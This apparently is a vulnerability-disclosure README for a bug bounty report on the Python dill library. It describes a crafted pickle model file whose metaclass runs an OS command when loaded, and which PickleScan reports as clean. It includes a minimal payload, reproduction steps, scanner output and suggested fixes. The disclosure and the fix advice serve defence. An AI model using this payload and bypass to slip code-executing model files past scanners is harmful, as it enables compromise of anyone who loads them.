YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
dill ACE via Metaclass + PickleScan Bypass
Summary
Loading a crafted .pkl model file serialized with dill triggers arbitrary code execution at dill.loads() time. The payload fully bypasses PickleScan 1.0.4 β the industry-standard pickle scanner reports infected_files=0, issues_count=0.
Target Info
| Field | Value |
|---|---|
| Library | dill (uqfoundation/dill) |
| Versions | 0.3.8 (PyPI) and 0.4.2.dev0 (git HEAD) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| CVSS | 8.8 High β AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| PickleScan result | infected=0, issues=0 (complete false negative) |
| Trigger | dill.load(malicious_model.pkl) β single API call |
Root Cause
When dill serializes a class with a custom metaclass (using type.__new__() directly β no super()), the metaclass __new__ bytecode is embedded inside code object bytes in the pickle stream, not as a GLOBAL opcode. PickleScan only scans GLOBAL/STACK_GLOBAL opcodes and misses bytecode-embedded payloads.
Vulnerable code path: dill/_dill.py β _create_type() β typeobj(*args) β EvilMeta.__new__() β arbitrary code.
# Minimal payload (attacker creates this):
import dill, os
class EvilMeta(type):
def __new__(mcs, name, bases, namespace):
os.system('id') # fires at victim's dill.loads() time
return type.__new__(mcs, name, bases, namespace) # no super() = no detection
class Payload(metaclass=EvilMeta): pass
dill.dump(Payload, open('malicious_model.pkl', 'wb'))
Why type.__new__() Instead of super() Matters
| Implementation | dill emits | PickleScan sees | Result |
|---|---|---|---|
super().__new__(...) |
builtins.getattr GLOBAL |
Dangerous β DETECTED | infected=1 |
type.__new__(mcs, ...) |
no getattr emitted |
only Suspicious globals | infected=0 |
Reproduction
pip install dill picklescan
# Run full demo
python3 poc_dill.py
# Expected output:
# [2] Scanning... infected_files: 0, issues_count: 0 => BYPASS
# [4] ACE CONFIRMED: ACE_VIA_DILL_METACLASS
Expected vs Actual Output
[2] Scanning with PickleScan ...
infected_files : 0 <-- EXPECTED: 1
issues_count : 0 <-- EXPECTED: >= 1
=> BYPASS: PickleScan reports CLEAN
[3] Victim calls dill.load('/tmp/malicious_model.pkl') ...
uid=1000(kali) gid=1000(kali) ... <-- os.system('id') fires here
ERIC-GACHARA
[4] ACE CONFIRMED: ACE_VIA_DILL_METACLASS
Fix
PickleScan: Reclassify dill._dill._create_type and dill._dill._create_function from Suspicious to Dangerous. Any pickle containing these globals can reconstruct arbitrary Python types (including malicious metaclasses) with embedded bytecode.
dill: Add a visible security warning to dill.load() / dill.loads() documentation, similar to numpy's allow_pickle approach.
Files
| File | Description |
|---|---|
poc_dill.py |
Standalone PoC β creates payload, scans, triggers ACE |
report.md |
Full huntr report (copy-paste ready) |
poc-evidence.html |
Styled terminal output evidence page |
README.md |
This file |